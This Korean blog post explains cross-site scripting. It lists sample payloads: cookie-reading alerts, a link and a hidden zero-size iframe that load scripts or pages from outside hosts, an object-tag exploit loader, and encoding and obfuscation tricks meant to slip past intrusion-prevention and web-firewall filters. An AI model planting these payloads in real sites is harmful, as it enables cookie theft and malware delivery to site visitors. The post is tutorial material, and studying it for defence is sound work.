Web

XSS (Cross Site Scripting) 크로스 사이트 스크립팅

알콜뭉뭉이 2017. 6. 16. 18:16
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 
예를들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.

글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.



1. XSS Test하기
일반적인 게시판에 <script>alert("XSS")</script> 라고 입력하여 XSS라는 메시지 창이 뜨면 XSS 취약점이 있는 것이다.

사용자의 쿠키값을 가지고 오게 한다
<script>alert(document.cookie);</script> 

클릭 시 악성코드가 있는 사이트로 이동
<a href="http://naver.com/test.cgi?loc=<script src='http://daum.net/test'></script>">Click here</a>



2. iframe과 메타태그 삽입으로 인한 해킹

<meta http-equiv='refresh' content='600; ur=test.php'>
<iframe src=" http://test.com/~bbs/hack.htm" width="0" height="0" frameborder="0"></iframe>
사이즈 0, 0 iframe을 만들어서 iframe에 악성코드가 들어 있는 사이트로 접속하게 만든다.



3. object 태그

<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>
c:\nosuchfile.mht 파일이 없으면 악성코드가 심어져 있는 http://test.com/attack_chm::exploit.html 파일을 읽게 만든다.



4. div 기법

div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
    <img src="images/test.jpg">
</div>



5. 인코딩 기법

공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.

원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>



6. Obfuscated 기법

인코딩 기법과 같이 우회하기 위해 사용한다.
<script language="javas-ript">
    e = '0x00' + '5F';
    str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7%BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1%F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF%C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2"; 
    str = tmp = '';
    for(i=0; i<str1.length; i+=3)
    { 
        tmp = unescape(str1.slice(i,i+=3));
        str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
    }
    document.write(str); 
</script>



7. 기타우회 방법 

</script><script>alert('XSS');</script>
;</script><script>alert('XSS');</script>
</script><script>alert('XSS');</script>



자료출처
http://blog.naver.com/sdream4/10084831337 
http://blog.naver.com/sdream4/10046998900